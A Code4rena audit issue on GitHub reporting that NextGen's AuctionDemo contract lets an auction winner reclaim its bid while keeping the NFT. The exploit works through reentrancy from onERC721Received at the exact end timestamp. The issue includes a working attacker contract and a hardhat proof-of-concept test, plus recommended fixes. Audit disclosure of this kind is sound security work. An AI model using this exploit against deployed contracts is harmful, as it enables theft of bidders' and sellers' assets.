Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Auction winner can return his bid #1212

Closed
c4-submissions opened this issue Nov 12, 2023 · 4 comments
Closed

Auction winner can return his bid #1212

c4-submissions opened this issue Nov 12, 2023 · 4 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

Vulnerability details

Vulnerability Details

Prerequisites:

  • getAuctionEndTime is a valid block.timestamp (1/12 chance if selected in random, see more in this answer)
    Steps by the attacker:
  • Bet enough to win the auction
  • Wait until almost the end of the auction, pay flashbots to include you in the block where block.timestamp == minter.getAuctionEndTime(_tokenid). For example using minTimestamp & maxTimestamp parameters, allowed, see docs. Or just calculate desired block number and use it
    • In the transaction the attacker is calling claimAuction
    • highest Bidder (the attacker) has a call to cancelBid in onERC721Received

Impact

Attacker returns their bid and gets the NFT

Proof of Concept

Put the contract below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract CancelOnWin is IERC721Receiver {
    auctionDemo immutable auction;

    constructor(auctionDemo _auction) {
        auction = _auction;
    }
    function bid(uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function claim(uint256 tokenId) external {
        auction.claimAuction(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 tokenId,
        bytes calldata 
    ) external returns (bytes4) {
        auction.cancelAllBids(tokenId);
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable{}
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    let attacker;

    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      attacker = signers.addr3;

      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhCancelOnWin = await (
        await ethers.getContractFactory("CancelOnWin", attacker)
      ).deploy(await contracts.hhAuction.getAddress());
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhCancelOnWin.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context("Auction winner can return his bid", () => {
        let tokenId;
        let endTimestamp;
        let normalBidder;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            const collectionAdmin = signers.addr1;
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                collectionAdmin.address,
                true,
            )
            await contracts.hhCore.connect(collectionAdmin).setCollectionData(
                1, // _collectionID
                collectionAdmin.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            normalBidder = signers.addr2;
            expect(collectionAdmin.address).not.eq(normalBidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                collectionAdmin.address, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );
        })
        it("attacks", async function() {
            const attackerContract = await contracts.hhCancelOnWin.connect(attacker);

            // Make a big bet
            const bidAmmount = ethers.parseEther("1.0");
            await attackerContract.bid(tokenId, {
                value: bidAmmount
            })
            
            const balanceBefore = await ethers.provider.getBalance(attackerContract);
            expect(balanceBefore).to.eq(0);

            // skip until the auction end time
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);
            
            // claim
            await attackerContract.claim(tokenId);
            await ethers.provider.send("evm_mine");

            // check mined correctly
            expect(await getLatestBlockTimestamp()).eq(endTimestamp);
            expect(await contracts.hhAuction.auctionClaim(tokenId)).to.be.true;

            // check attack successfull
            const balanceAfter = await ethers.provider.getBalance(attackerContract);
            expect(balanceAfter).to.eq(bidAmmount);

            // check attacker owns the NFT
            expect(await contracts.hhCore.ownerOf(tokenId))
                .to.eq(await attackerContract.getAddress());
        })

    });
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Recommended Mitigation Steps

Change >= to > in block.timestamp >= minter.getAuctionEndTime(_tokenid) in claimAuction
Add nonReentrant modifiers

Assessed type

Timing

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 12, 2023
c4-submissions added a commit that referenced this issue Nov 12, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #1370

@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #962

@c4-judge
Copy link

c4-judge commented Dec 4, 2023

alex-ppg marked the issue as duplicate of #1323

@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Dec 8, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

3 participants